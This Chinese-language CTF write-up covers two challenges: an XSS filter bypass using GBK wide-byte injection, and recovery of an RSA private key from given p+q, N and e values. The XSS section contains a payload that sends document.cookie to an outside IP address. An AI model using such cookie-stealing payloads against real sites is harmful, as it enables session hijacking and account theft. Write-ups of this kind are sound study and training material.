参考:
- GBK 宽字节绕过
http://xuelinf.github.io/2016/05/10/-level4%E7%A6%BB%E5%A5%87%E7%9A%84%E5%AE%BD%E5%AD%97%E8%8A%82-XSS%E5%8D%87%E7%BA%A7%E4%B9%8B%E8%B7%AF/
https://lyiang.wordpress.com/2015/06/09/sql%E6%B3%A8%E5%85%A5%EF%BC%9A%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%EF%BC%88gbk%E5%8F%8C%E5%AD%97%E8%8A%82%E7%BB%95%E8%BF%87%EF%BC%89/ - 绕过实例(0x02)
- 转码工具:
分析:
XSS2绕过和XSS1绕过是一样的,都是对前后双引号进行绕过,但是XSS2过滤方法是把每个输入字符前加一个\
反斜杠,所以利用宽字节绕过将XSS1的payload进行修改即可。
首先在双引号的转义%22前加上%c0把前面的双引号闭合,剩余部分只能使用编码来解决。使用string.fromcharcode()
对后面部分编码来绕过。
1 | 编码前payload:%c0%22;decument.write("<script>document.location='http://118.190.246.63/get-cookie.php?x='+document.cookie;</script>");// |
注意宽字节绕过在Wired filter ce’shi测试时要在地址栏直接输入,否则无法绕过
在xss界面输入相应payload和MD验证码,就可以在服务器获得flag
参考:
步骤如下:1
2
3
4
5找出两个互为素数的 p 和 q;
计算 N = p * q;
计算 φ(N) = φ(p * q) = (p-1) * (q-1);
找出一个 e,1 < e < φ(N),且e与φ(N) 互质
根据 e * d ≡ 1(mod φ(N))
分析:
这道题我们先直接在虚拟机链接所给的nccat,可以知道,本题给出了N、e、p+q的值,那么思路就是
1 | 已知数据:p + q 、N(p * q)、e |
代码如下
1 | def ex_gcd(a,b): |
每次给的p+q都不同,所以算出来的d(就是程序中的x)也不一样
进行交互得到flag